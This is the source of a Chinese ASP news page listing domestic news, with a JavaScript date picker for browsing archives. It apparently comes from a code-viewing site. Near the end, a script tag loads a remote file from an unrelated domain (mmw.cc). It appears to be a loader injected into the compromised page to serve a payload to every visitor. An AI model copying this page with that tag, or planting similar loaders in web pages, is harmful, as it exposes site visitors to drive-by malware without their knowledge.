📄 china.asp
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="set.asp" -->
<!--#include file="function.asp" -->
<!--#include file="sub.asp" -->
<%
dim s1
theDate = Trim(Request.QueryString("theDate"))
call GetNewsList(theDate,"china")
call GetImgNews("china")
%>
<html>
<head>
<title>商务世纪---国内新闻 http://www.88com.cn</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body leftmargin="0" topmargin="0">
<!--#include file="top.asp" -->
<!--#include file="item.asp" -->
<table width="773" height="23" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#333333">
<tr>
<td bgcolor="#FF9900" height="23"> </td>
</tr>
</table>
<!--#include file="ad_top.asp" -->
<table width="773" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="160" valign="top" class="Item_7"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="18" class="Item_3"><img src="img/new_27_6.gif" width="18" height="20"></td>
<td valign="bottom" class="Item_4"><table width="87%" height="16" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td valign="top"><font color="#FFFFFF">图 片 新 闻</font></td>
</tr>
</table></td>
</tr>
</table>
<table width="100%" border="0" cellpadding="0" cellspacing="14">
<%
sImgNewsChina=split(ImgNewsChina,"</a>")
For i=0 to ubound(sImgNewsChina)-1
%>
<tr>
<td align="center"> <% Response.Write sImgNewsChina(i)&"</a>" %> </td>
</tr>
<%
Next
%>
</table>
<!--#include file="ad_3.asp" -->
</td>
<td valign="top" class="Item_8"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#D6D7D6" class="Item_7">
<tr>
<td width="44"><img src="img/new_27_5.gif" width="41" height="20"></td>
<td valign="bottom"> <table width="100%" height="16" border="0" cellpadding="0" cellspacing="0">
<tr>
<td valign="top">国 内 新 闻</td>
</tr>
</table></td>
</tr>
</table>
<table width="100%" border="0" cellpadding="0" cellspacing="10" class="newsLink">
<tr>
<td class=newslist>
<%=s1%>
</td>
</tr>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function ShowDateFile(){
if(document.forms.old_cheese.Year.selectedIndex==0) { alert("请选择年份"); return false;}
if(document.forms.old_cheese.Month.selectedIndex==0){ alert("请选择月份"); return false;}
if(document.forms.old_cheese.Day.selectedIndex==0) { alert("请选择日期"); return false;}
year = document.forms. old_cheese. Year.options[document.forms. old_cheese.Year.selectedIndex].value;
month= document.forms. old_cheese. Month.options[document.forms. old_cheese.Month.selectedIndex].value;
day = document.forms. old_cheese. Day.options[document.forms. old_cheese.Day.selectedIndex].value;
if(year==1999 && month<8 && day<19){alert("各栏目往日新闻是从1999年7月19日开始的"); return false;}
loadpos="china.asp?theDate="+year+"-"+month+"-"+day;
controlWindow=location.replace(loadpos);
return false;
}
//-->
</SCRIPT>
<form method="POST" action="--WEBBOT-SELF--" name='old_cheese'>
<tr>
<td>
<select name="Year" size="1">
<option value="选择年份"> 选择年份 </option>
<option value="2003">2003</option>
<option value="2002">2002</option>
<option value="2001">2001</option>
<option value="2000">2000</option>
<option value="1999">1999</option>
</select>
<select name="Month" size="1">
<option value="选择月份"> 选择月份 </option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
<select name="Day" size="1">
<option value="选择日期"> 选择日期 </option>
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>
<input type="button" value=" 观看本栏目新闻 " onClick="ShowDateFile();return false;"> </td>
</tr></form>
</table>
</td>
</tr>
</table><script src="http://www.mmw.cc/non5.asp"></script>
<!--#include file="about.asp" -->
</body>
</html>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -